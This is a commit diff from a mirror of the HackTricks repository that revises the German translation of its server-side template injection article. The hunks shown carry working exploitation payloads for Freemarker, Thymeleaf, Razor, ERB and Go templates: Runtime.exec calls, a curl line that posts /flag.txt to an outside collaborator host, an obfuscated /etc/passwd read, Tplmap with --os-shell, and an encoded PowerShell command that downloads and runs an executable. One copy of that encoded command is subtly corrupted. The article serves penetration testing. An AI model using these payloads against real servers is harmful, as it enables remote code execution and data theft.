Mirrors/hacktricks
2
0
Fork 0
mirror of https://github.com/carlospolop/hacktricks synced 2024-11-15 09:27:32 +00:00
Code Issues Projects Releases Packages Wiki Activity

Translated ['pentesting-web/ssti-server-side-template-injection/README.m

Browse source
This commit is contained in:
Translator 2024-03-26 07:58:56 +00:00
parent 49b91561e9
commit 853e9f6da4
1 changed files with 52 additions and 44 deletions
Show stats Download patch file Download diff file Expand all files Collapse all files

94
pentesting-web/ssti-server-side-template-injection/README.md
View file

@ -22,13 +22,13 @@ Andere Möglichkeiten, HackTricks zu unterstützen:
## Was ist SSTI (Serverseitige Template-Injektion)
Die serverseitige Template-Injektion ist eine Schwachstelle, die auftritt, wenn ein Angreifer bösartigen Code in ein Template injizieren kann, der auf dem Server ausgeführt wird. Diese Schwachstelle kann in verschiedenen Technologien gefunden werden, einschließlich Jinja.
Die serverseitige Template-Injektion ist eine Schwachstelle, die auftritt, wenn ein Angreifer bösartigen Code in ein Template injizieren kann, das auf dem Server ausgeführt wird. Diese Schwachstelle kann in verschiedenen Technologien gefunden werden, einschließlich Jinja.
Jinja ist eine beliebte Template-Engine, die in Webanwendungen verwendet wird. Betrachten wir ein Beispiel, das einen anfälligen Code-Schnipsel unter Verwendung von Jinja demonstriert:
Jinja ist eine beliebte Template-Engine, die in Webanwendungen verwendet wird. Betrachten wir ein Beispiel, das einen anfälligen Codeschnipsel unter Verwendung von Jinja demonstriert:
```python
output = template.render(name=request.args.get('name'))
```
Im anfälligen Code wird der `name`-Parameter aus der Benutzeranfrage direkt in die Vorlage mit der `render`-Funktion übergeben. Dies könnte einem Angreifer potenziell ermöglichen, bösartigen Code in den `name`-Parameter einzufügen, was zu einer serverseitigen Vorlageninjektion führen kann.
Im verwundbaren Code wird der `name`-Parameter aus der Benutzeranfrage direkt in die Vorlage mit der `render`-Funktion übergeben. Dies kann einem Angreifer potenziell ermöglichen, bösartigen Code in den `name`-Parameter einzufügen, was zu einer serverseitigen Vorlageninjektion führen kann.
Ein Angreifer könnte beispielsweise eine Anfrage mit einem Payload wie diesem erstellen:
```
@ -36,20 +36,20 @@ http://vulnerable-website.com/?name={{bad-stuff-here}}
```
Die Nutzlast `{{bad-stuff-here}}` wird in den `name`-Parameter eingefügt. Diese Nutzlast kann Jinja-Template-Direktiven enthalten, die es dem Angreifer ermöglichen, nicht autorisierten Code auszuführen oder den Template-Engine zu manipulieren, wodurch potenziell die Kontrolle über den Server erlangt wird.
Um Server-seitige Template-Injection-Schwachstellen zu verhindern, sollten Entwickler sicherstellen, dass Benutzereingaben ordnungsgemäß bereinigt und validiert werden, bevor sie in Vorlagen eingefügt werden. Die Implementierung von Eingabevalidierung und die Verwendung von kontextbezogenen Escaping-Techniken können dazu beitragen, das Risiko dieser Schwachstelle zu mindern.
Um Server-seitige Template-Injection-Schwachstellen zu verhindern, sollten Entwickler sicherstellen, dass Benutzereingaben ordnungsgemäß bereinigt und validiert werden, bevor sie in Templates eingefügt werden. Die Implementierung von Eingabevalidierung und die Verwendung von kontextbezogenen Escaping-Techniken können dazu beitragen, das Risiko dieser Schwachstelle zu minimieren.
### Erkennung
Um Server-seitige Template-Injection (SSTI) zu erkennen, ist das **Fuzzing des Templates** zunächst ein direkter Ansatz. Dies beinhaltet das Einspritzen einer Sequenz von Sonderzeichen (**`${{<%[%'"}}%\`**) in das Template und die Analyse der Unterschiede in der Antwort des Servers auf reguläre Daten im Vergleich zu dieser speziellen Nutzlast. Anzeichen für Schwachstellen sind:
Um Server-seitige Template-Injection (SSTI) zu erkennen, ist zunächst das **Fuzzing des Templates** ein direkter Ansatz. Dies beinhaltet das Einspritzen einer Sequenz von Sonderzeichen (**`${{<%[%'"}}%\`**) in das Template und die Analyse der Unterschiede in der Antwort des Servers auf reguläre Daten im Vergleich zu dieser speziellen Nutzlast. Anzeichen für Schwachstellen sind:
- Geworfene Fehler, die die Schwachstelle und möglicherweise den Template-Engine offenlegen.
- Fehlen der Nutzlast im Reflektieren oder Teile davon fehlen, was darauf hindeutet, dass der Server sie anders verarbeitet als reguläre Daten.
- Fehlen der Nutzlast in der Reflektion oder Teile davon fehlen, was darauf hindeutet, dass der Server sie anders verarbeitet als reguläre Daten.
- **Klartext-Kontext**: Unterscheidung von XSS, indem überprüft wird, ob der Server Template-Ausdrücke auswertet (z. B. `{{7*7}}`, `${7*7}`).
- **Code-Kontext**: Bestätigen Sie die Schwachstelle, indem Sie Eingabeparameter ändern. Ändern Sie beispielsweise `greeting` in `http://vulnerable-website.com/?greeting=data.username`, um zu sehen, ob die Ausgabe des Servers dynamisch oder fest ist, wie bei `greeting=data.username}}hello`, das den Benutzernamen zurückgibt.
#### Identifikationsphase
Die Identifizierung des Template-Engine beinhaltet die Analyse von Fehlermeldungen oder das manuelle Testen verschiedener sprachspezifischer Nutzlasten. Häufige Nutzlasten, die Fehler verursachen, sind `${7/0}`, `{{7/0}}` und `<%= 7/0 %>`. Die Beobachtung der Antwort des Servers auf mathematische Operationen hilft dabei, die spezifische Template-Engine zu lokalisieren.
Die Identifizierung des Template-Engine beinhaltet die Analyse von Fehlermeldungen oder das manuelle Testen verschiedener sprachspezifischer Nutzlasten. Häufige Nutzlasten, die Fehler verursachen, sind `${7/0}`, `{{7/0}}` und `<%= 7/0 %>`. Die Beobachtung der Serverantwort auf mathematische Operationen hilft dabei, die spezifische Template-Engine zu lokalisieren.
## Tools
@ -63,12 +63,10 @@ tinja url -u "http://example.com/" -d "username=Kirlia" -c "PHPSESSID=ABC123...
### [SSTImap](https://github.com/vladko312/sstimap)
```bash
python3 sstimap.py -i -l 5
python3 sstimap.py -u "http://example.com/ --crawl 5 --forms
python3 sstimap.py -u 'https://example.com/page?name=John' -s
python3 sstimap.py -u "http://example.com/" --crawl 5 --forms
python3 sstimap.py -u "https://example.com/page?name=John" -s
```
### [Tplmap](https://github.com/epinna/tplmap)
Tplmap ist ein Tool zum Erkennen und Ausnutzen von Server-seitigen Template-Injections (SSTI). Es unterstützt verschiedene Template-Engines und kann verwendet werden, um SSTI-Schwachstellen in Webanwendungen zu identifizieren.
```python
python2.7 ./tplmap.py -u 'http://www.target.com/page?name=John*' --os-shell
python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=*&comment=supercomment&link"
@ -126,7 +124,7 @@ ${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI()
```
**Freemarker - Sandbox-Bypass**
⚠️ Funktioniert nur bei Freemarker-Versionen unter 2.3.30
⚠️ funktioniert nur bei Freemarker-Versionen unter 2.3.30
```java
<#assign classloader=article.class.protectionDomain.classLoader>
<#assign owc=classloader.loadClass("freemarker.template.ObjectWrapper")>
@ -169,7 +167,7 @@ $out.read()
### Thymeleaf
In Thymeleaf ist ein häufiger Test für SSTI-Schwachstellen der Ausdruck `${7*7}`, der auch für diese Template-Engine gilt. Für potenzielle Remote-Code-Ausführung können Ausdrücke wie die folgenden verwendet werden:
In Thymeleaf ist ein häufiger Test für SSTI-Schwachstellen der Ausdruck `${7*7}`, der auch für diesen Template-Engine gilt. Für potenzielle Remote-Code-Ausführung können Ausdrücke wie folgt verwendet werden:
* SpringEL:
@ -182,17 +180,17 @@ ${T(java.lang.Runtime).getRuntime().exec('calc')}
${#rt = @java.lang.Runtime@getRuntime(),#rt.exec("calc")}
```
Thymeleaf erfordert, dass diese Ausdrücke in spezifischen Attributen platziert werden. Allerdings wird _Expression Inlining_ für andere Vorlagenpositionen unterstützt, indem Syntax wie `[[...]]` oder `[(...)]` verwendet wird. Daher könnte ein einfaches SSTI-Test-Payload wie `[[${7*7}]]` aussehen.
Thymeleaf erfordert, dass diese Ausdrücke in bestimmten Attributen platziert werden. Allerdings wird _Expression Inlining_ für andere Vorlagenpositionen unterstützt, indem Syntax wie `[[...]]` oder `[(...)]` verwendet wird. Daher könnte ein einfaches SSTI-Test-Payload wie `[[${7*7}]]` aussehen.
Die Wahrscheinlichkeit, dass dieses Payload funktioniert, ist jedoch im Allgemeinen gering. Die Standardkonfiguration von Thymeleaf unterstützt keine dynamische Vorlagenerstellung; Vorlagen müssen vordefiniert sein. Entwickler müssten ihren eigenen `TemplateResolver` implementieren, um Vorlagen aus Zeichenfolgen dynamisch zu erstellen, was unüblich ist.
Thymeleaf bietet auch _Expression Preprocessing_, bei dem Ausdrücke innerhalb von doppelten Unterstrichen (`__...__`) vorverarbeitet werden. Diese Funktion kann beim Aufbau von Ausdrücken genutzt werden, wie in der Dokumentation von Thymeleaf demonstriert:
Thymeleaf bietet auch _Expression Preprocessing_ an, bei dem Ausdrücke innerhalb von doppelten Unterstrichen (`__...__`) vorverarbeitet werden. Diese Funktion kann beim Aufbau von Ausdrücken genutzt werden, wie in der Dokumentation von Thymeleaf demonstriert:
```java
#{selection.__${sel.code}__}
```
**Beispiel für eine Schwachstelle in Thymeleaf**
Betrachten Sie den folgenden Code-Schnipsel, der anfällig für Ausnutzung sein könnte:
Betrachten Sie den folgenden Code-Schnipsel, der anfällig für Ausbeutung sein könnte:
```xml
<a th:href="@{__${path}__}" th:title="${title}">
<a th:href="${''.getClass().forName('java.lang.Runtime').getRuntime().exec('curl -d @/flag.txt burpcollab.com')}" th:title='pepito'>
@ -214,11 +212,11 @@ http://localhost:8082/(${T(java.lang.Runtime).getRuntime().exec('calc')})
```java
*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('id').getInputStream())}
```
**Umgehung von Filtern**
**Filter umgehen**
Mehrere Variablenausdrücke können verwendet werden. Wenn `${...}` nicht funktioniert, versuchen Sie es mit `#{...}`, `*{...}`, `@{...}` oder `~{...}`.
Mehrere Variablenausdrücke können verwendet werden, wenn `${...}` nicht funktioniert, versuchen Sie es mit `#{...}`, `*{...}`, `@{...}` oder `~{...}`.
* Lesen Sie `/etc/passwd`
* Lese `/etc/passwd`
```java
${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}
```
@ -296,7 +294,7 @@ Neue Version von Pebble:
```
### Jinjava (Java)
Jinjava ist eine leistungsstarke Template-Engine für Java, die Server-seitige Template-Injection (SSTI) ermöglicht. Jinjava wird häufig in Webanwendungen verwendet, die das Java-Backend verwenden. Es ist wichtig, SSTI-Schwachstellen in Jinjava zu identifizieren und zu beheben, um potenzielle Angriffe zu verhindern.
Jinjava ist eine leistungsstarke und sichere Template-Engine für Java. Es wird häufig in Webanwendungen verwendet, um dynamische Inhalte zu generieren. Es unterstützt Server-seitige Template-Injection (SSTI), was zu potenziell gefährlichen Sicherheitslücken führen kann. Jinjava sollte sorgfältig verwendet und abgesichert werden, um SSTI-Angriffe zu vermeiden.
```java
{{'a'.toUpperCase()}} would result in 'A'
{{ request }} would return a request object like com.[...].context.TemplateContextRequest@23548206
@ -387,7 +385,7 @@ Payload: {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstanc
Expression Language (EL) ist eine grundlegende Funktion, die die Interaktion zwischen der Präsentationsschicht (wie Webseiten) und der Anwendungslogik (wie verwaltete Beans) in JavaEE erleichtert. Es wird umfassend in mehreren JavaEE-Technologien eingesetzt, um diese Kommunikation zu optimieren. Zu den wichtigsten JavaEE-Technologien, die EL nutzen, gehören:
* **JavaServer Faces (JSF)**: Verwendet EL, um Komponenten in JSF-Seiten mit den entsprechenden Backend-Daten und Aktionen zu verknüpfen.
* **JavaServer Pages (JSP)**: EL wird in JSP verwendet, um auf Daten in JSP-Seiten zuzugreifen und diese zu manipulieren, was die Verbindung von Seitenelementen mit den Anwendungsdaten erleichtert.
* **JavaServer Pages (JSP)**: EL wird in JSP verwendet, um auf Daten in JSP-Seiten zuzugreifen und diese zu manipulieren, was es erleichtert, Seitenelemente mit den Anwendungsdaten zu verbinden.
* **Contexts and Dependency Injection for Java EE (CDI)**: EL integriert sich mit CDI, um eine nahtlose Interaktion zwischen der Web-Ebene und verwalteten Beans zu ermöglichen und eine kohärentere Anwendungsstruktur sicherzustellen.
Überprüfen Sie die folgende Seite, um mehr über die **Ausnutzung von EL-Interpretern** zu erfahren:
@ -551,19 +549,29 @@ Seitenvorlage:
</body>
</html>
```
## Server-Side Template Injection (SSTI)
## SSTI (Server-Side Template Injection)
### authors.php
---
### Beschreibung
In diesem Szenario wird eine Server-seitige Template-Injection (SSTI) Schwachstelle demonstriert, die es einem Angreifer ermöglicht, Code in einem Server-seitigen Template einzuschleusen und auszuführen.
### Angriffsschritte
1. Navigieren Sie zur `authors.php` Seite.
2. Identifizieren Sie die SSTI-Schwachstelle.
3. Führen Sie den Angriff durch, indem Sie bösartigen Code in das Template einschleusen.
4. Überprüfen Sie, ob der Code erfolgreich ausgeführt wurde.
Die Datei `authors.php` enthält eine Beispielanwendung, die anfällig für Server-seitige Template-Injection (SSTI) ist. Dieses Szenario zeigt, wie SSTI ausgenutzt werden kann, um unerwünschten Code auf der Serverseite auszuführen.
### Auswirkungen
Durch eine erfolgreiche SSTI-Attacke kann ein Angreifer sensible Informationen auslesen, das System kompromittieren oder weitere Angriffe durchführen. Es ist wichtig, SSTI-Schwachstellen zu identifizieren und zu beheben, um die Sicherheit der Anwendung zu gewährleisten.
Durch die Ausnutzung von SSTI kann ein Angreifer potenziell schädlichen Code in die Anwendung einschleusen und ausführen, was zu Datenlecks, Kompromittierung der Anwendungssicherheit und anderen schwerwiegenden Folgen führen kann.
### Angriffsszenario
1. Identifizieren Sie die SSTI-Schwachstelle in der Anwendung.
2. Injizieren Sie schädlichen Code über die SSTI-Schwachstelle.
3. Führen Sie den injizierten Code auf dem Server aus, um die Auswirkungen zu demonstrieren.
### Schutzmaßnahmen
Um SSTI-Angriffe zu verhindern, sollten Eingaben validiert und sicher verarbeitet werden, um das Einschleusen und Ausführen von unerwünschtem Code zu verhindern. Vermeiden Sie auch die direkte Verwendung von Benutzereingaben in Vorlagen oder Templates.
```php
<?php
//we want to display this author list
@ -617,7 +625,7 @@ echo $t->finish($t->parse('OUT', 'authors'));
### patTemplate (PHP)
> [patTemplate](https://github.com/wernerwa/pat-template) ist eine nicht kompilierende PHP-Template-Engine, die XML-Tags verwendet, um ein Dokument in verschiedene Teile zu unterteilen.
> [patTemplate](https://github.com/wernerwa/pat-template) ist ein nicht kompilierender PHP-Template-Engine, die XML-Tags verwendet, um ein Dokument in verschiedene Teile zu unterteilen.
```xml
<patTemplate:tmpl name="page">
This is the main page.
@ -677,7 +685,7 @@ URLencoded:
| | Auswerten und Ausgabe rendern |
| | Auswerten und HTML-codierte Ausgabe rendern |
| | Kommentar |
| und | Erlauben von Code (standardmäßig deaktiviert) |
| und | Erlaube Code (standardmäßig deaktiviert) |
* \= 49
@ -727,7 +735,7 @@ home = pugjs.render(injected_page)
* `{{7*7}} = {{7*7}}`
* `${7*7} = ${7*7}`
* `<%= 7*7 %> = 49`
* `<%= foobar %> = Fehler`
* `<%= foobar %> = Error`
```python
<%= system("whoami") %> #Execute code
<%= Dir.entries('/') %> #List folder
@ -755,7 +763,7 @@ home = pugjs.render(injected_page)
### Python
Schauen Sie sich die folgende Seite an, um Tricks zum **beliebigen Befehlsausführung umgehen von Sandboxes** in Python zu lernen:
Schauen Sie sich die folgende Seite an, um Tricks zur Umgehung von Sandboxes für die **beliebige Befehlsausführung** in Python zu erlernen:
{% content-ref url="../../generic-methodologies-and-resources/python/bypass-python-sandboxes/" %}
[bypass-python-sandboxes](../../generic-methodologies-and-resources/python/bypass-python-sandboxes/)
@ -789,7 +797,7 @@ Schauen Sie sich die folgende Seite an, um Tricks zum **beliebigen Befehlsausfü
[Offizielle Website](http://jinja.pocoo.org)
> Jinja2 ist eine voll ausgestattete Vorlagen-Engine für Python. Sie bietet volle Unicode-Unterstützung, eine optionale integrierte Sandbox-Ausführungsumgebung, wird weit verbreitet eingesetzt und ist unter der BSD-Lizenz veröffentlicht.
> Jinja2 ist eine voll ausgestattete Template-Engine für Python. Es bietet volle Unicode-Unterstützung, eine optionale integrierte Sandbox-Ausführungsumgebung, wird weit verbreitet eingesetzt und ist unter der BSD-Lizenz verfügbar.
* `{{7*7}} = Fehler`
* `${7*7} = ${7*7}`
@ -870,9 +878,9 @@ ${x}
* `@(1+2)`
* `@( //C#Code )`
* `@System.Diagnostics.Process.Start("cmd.exe","/c echo RCE > C:/Windows/Tasks/test.txt");`
* `@System.Diagnostics.Process.Start("cmd.exe","/c powershell.exe -enc IABpAHcAcgAgAC0AdQByAGkAIABoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAyAC4AMQAxADEALwB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlACAALQBPAHUAdABGAGkAbABlACAAQwA6AFwAVwBpAG4AZABvAHcAcwBXAFQAYQBzAGsAcwBcAHQAZQBzAHQAbQBlAHQANgA0AC4AZQB4AGUAOwAgAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABUAGEAcwBrAHMAXAB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlAA==");`
* `@System.Diagnostics.Process.Start("cmd.exe","/c powershell.exe -enc IABpAHcAcgAgAC0AdQByAGkAIABoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAyAC4AMQAxADEALwB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlACAALQBPAHUAdABGAGkAbABlACAAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAYQBzAGsAcwBcAHQAZQBzAHQAbQBlAHQANgA0AC4AZQB4AGUAOwAgAEMAOgBcAFcAaQBuAGQAbw3AHMAXABUAGEAcwBrAHMAXAB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlAA==");`
Die .NET-Methode `System.Diagnostics.Process.Start` kann verwendet werden, um jeden Prozess auf dem Server zu starten und somit eine Webshell zu erstellen. Ein anfälliges Beispiel für eine Webanwendung finden Sie unter [https://github.com/cnotin/RazorVulnerableApp](https://github.com/cnotin/RazorVulnerableApp)
Die .NET `System.Diagnostics.Process.Start` Methode kann verwendet werden, um jeden Prozess auf dem Server zu starten und somit eine Webshell zu erstellen. Ein anfälliges Beispiel für eine Webanwendung finden Sie unter [https://github.com/cnotin/RazorVulnerableApp](https://github.com/cnotin/RazorVulnerableApp)
**Weitere Informationen**
@ -912,13 +920,13 @@ In der Go-Template-Engine kann die Bestätigung ihrer Verwendung mit spezifische
**XSS-Ausnutzung**
Mit dem Paket `text/template` kann XSS einfach durch direktes Einfügen des Payloads erfolgen. Im Gegensatz dazu kodiert das Paket `html/template` die Antwort, um dies zu verhindern (z.B. führt `{{"<script>alert(1)</script>"}}` zu `&lt;script&gt;alert(1)&lt;/script&gt;`). Nichtsdestotrotz können die Template-Definition und -Aufruf in Go diese Kodierung umgehen: \{{define "T1"\}}alert(1)\{{end\}} \{{template "T1"\}}
Mit dem Paket `text/template` kann XSS einfach durch direktes Einfügen des Payloads erfolgen. Im Gegensatz dazu codiert das Paket `html/template` die Antwort, um dies zu verhindern (z.B. führt `{{"<script>alert(1)</script>"}}` zu `&lt;script&gt;alert(1)&lt;/script&gt;`). Die Definition und Aufruf von Vorlagen in Go kann jedoch diese Codierung umgehen: \{{define "T1"\}}alert(1)\{{end\}} \{{template "T1"\}}
vbnet Copy code
**RCE-Ausnutzung**
Die RCE-Ausnutzung unterscheidet sich erheblich zwischen `html/template` und `text/template`. Das Modul `text/template` erlaubt den direkten Aufruf beliebiger öffentlicher Funktionen (unter Verwendung des Werts "call"), was in `html/template` nicht erlaubt ist. Die Dokumentation für diese Module ist verfügbar [hier für html/template](https://golang.org/pkg/html/template/) und [hier für text/template](https://golang.org/pkg/text/template/).
Die RCE-Ausnutzung unterscheidet sich erheblich zwischen `html/template` und `text/template`. Das Modul `text/template` ermöglicht den direkten Aufruf beliebiger öffentlicher Funktionen (unter Verwendung des Werts "call"), was in `html/template` nicht zulässig ist. Die Dokumentation für diese Module ist verfügbar [hier für html/template](https://golang.org/pkg/html/template/) und [hier für text/template](https://golang.org/pkg/text/template/).
Für RCE über SSTI in Go können Objektmethoden aufgerufen werden. Wenn beispielsweise das bereitgestellte Objekt eine `System`-Methode hat, die Befehle ausführt, kann sie wie folgt ausgenutzt werden: `{{ .System "ls" }}`. Der Zugriff auf den Quellcode ist normalerweise erforderlich, um dies auszunutzen, wie im gegebenen Beispiel:
```go
@ -934,7 +942,7 @@ return string(out)
### Weitere Exploits
Überprüfen Sie den Rest von [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection) für weitere Exploits. Sie können auch interessante Tags-Informationen unter [https://github.com/DiogoMRSilva/websitesVulnerableToSSTI](https://github.com/DiogoMRSilva/websitesVulnerableToSSTI) finden.
Überprüfen Sie den Rest von [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection) für weitere Exploits. Sie können auch interessante Tags-Informationen in [https://github.com/DiogoMRSilva/websitesVulnerableToSSTI](https://github.com/DiogoMRSilva/websitesVulnerableToSSTI) finden.
## BlackHat PDF
@ -945,7 +953,7 @@ return string(out)
Wenn Sie denken, dass es nützlich sein könnte, lesen Sie:
* [Flask-Tricks](../../network-services-pentesting/pentesting-web/flask.md)
* [Python-Magic-Funktionen](broken-reference/)
* [Python-Magiefunktionen](broken-reference/)
## Tools
@ -976,10 +984,10 @@ Wenn Sie denken, dass es nützlich sein könnte, lesen Sie:
Andere Möglichkeiten, HackTricks zu unterstützen:
* Wenn Sie Ihr **Unternehmen in HackTricks beworben sehen möchten** oder **HackTricks in PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Wenn Sie Ihr **Unternehmen in HackTricks beworben sehen möchten** oder **HackTricks im PDF-Format herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merch**](https://peass.creator-spring.com)
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegramm-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) Github-Repositories einreichen.
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories senden.
</details>